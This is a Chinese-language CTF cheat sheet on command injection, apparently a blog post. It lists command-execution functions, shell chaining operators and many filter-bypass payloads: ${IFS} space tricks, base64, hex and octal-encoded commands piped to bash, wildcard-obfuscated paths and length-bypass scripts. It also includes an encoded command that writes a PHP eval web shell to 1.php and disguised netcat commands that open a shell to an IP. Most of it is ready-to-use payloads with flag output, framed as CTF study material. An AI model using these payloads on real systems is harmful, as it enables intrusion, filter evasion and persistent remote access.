常见命令执行函数
php
1 2 3
| system(); exec(); shell_exec();
|
asp
1
| <%Response.writeCreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll%>
|
jsp
1
| Runtime run = Runtime.getRuntime(); run.exec("ipconfig");
|
命令执行连接符
|
前句假后句不执行,前面真则执行

||
前面假则执行后面命令,否则只执行前句

&
无论前面真假,后面均执行

&&
前假后不执行,前真后执行

;
多个命令顺序执行
``和$()
被包含的字符串都会被当作命令执行
绕过
空格
${IFS}
1 2 3
| cat${IFS}flag.txt cat$IFS$1flag.txt cat${IFS}$1flag.txt
|
<>
1 2
| cat<>flag.txt cat<flag.txt
|
{}
在url中使用%09(Tab),%20(space)进行绕过
命令终止符
一句话执行多条命令
1 2 3
| cd ..&&cd ..&&cd ..&&cat flag cd ..;cd ..;cd ..;cat flag || 或语句可作连接
|
黑名单
拼接
1 2 3
| a=c;b=at;$a$b a=c;b=at;c=/f;d=lag;$a$b ${c}${d} a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b /flag
|
编码绕过
1 2
| echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag
|
1
| echo "0x636174202f666c6167" | xxd -r -p|bash ==> cat /flag
|
1 2 3 4
| $(printf "\154\163") ==> ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==> cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 ==> cat /flag
|
也可以通过上述方式写马
内容为<?php @eval($_POST['c']);?>
1
| ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
|
单双引号绕过
反斜杠绕过
$PATH绕过
1 2 3 4 5 6
| root@BWWWY:/# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin root@BWWWY:/# `echo $PATH| cut -c 8,9`t /flag flag{Y0u_h4ve_f0und_The_f1ag} root@BWWWY:/# cat $(echo $PATH|cut -c 1)flag flag{Y0u_h4ve_f0und_The_f1ag}
|
通配符绕过
1 2 3 4
| cat /f?ag cat /fl* cat /f[a-z]ag cat /f{i,j,k,l,m,n}ag
|
/???会寻找/目录三个字符的目录,一般会查到/bin目录,/bin/?[a][t]自然会匹配到/bin/cat = cat
?’’会占位一个字符,一下例子则匹配有八个字符的文件
1 2
| /???/?[a][t] ?''?''?''?''?''?''?''?'' /???/[m]?[r][e] ?''?''?''?''?''?''?''?''
|
也可以利用这个开启shell
eg. netcat -lvp 9999
1 2
| /???/[n]?[t]??[t] -lvp 9999 /???/[n]?[t]??[t] ip 9999
|
命令替换
查看文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| cat sed more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容
|
长度绕过
> 将你所写入的内容覆盖
>> 在后面继续增加
每次添加一部分命令
有-n
的部分不换行 没有的则换行
1 2 3 4 5 6 7 8
| root@BWWWY:/# echo -n "ca" >r root@BWWWY:/# echo -n "t" >>r root@BWWWY:/# echo -n " /fl" >>r root@BWWWY:/# echo "ag" >>r root@BWWWY:/# cat r cat /flag root@BWWWY:/# cat r|bash flag{Y0u_h4ve_f0und_The_f1ag}
|
1 2 3 4 5 6
| root@BWWWY:/# cat a ca\ t flag.t\ xt root@BWWWY:/# sh a flag{You_win}
|
参考
CTF下的命令执行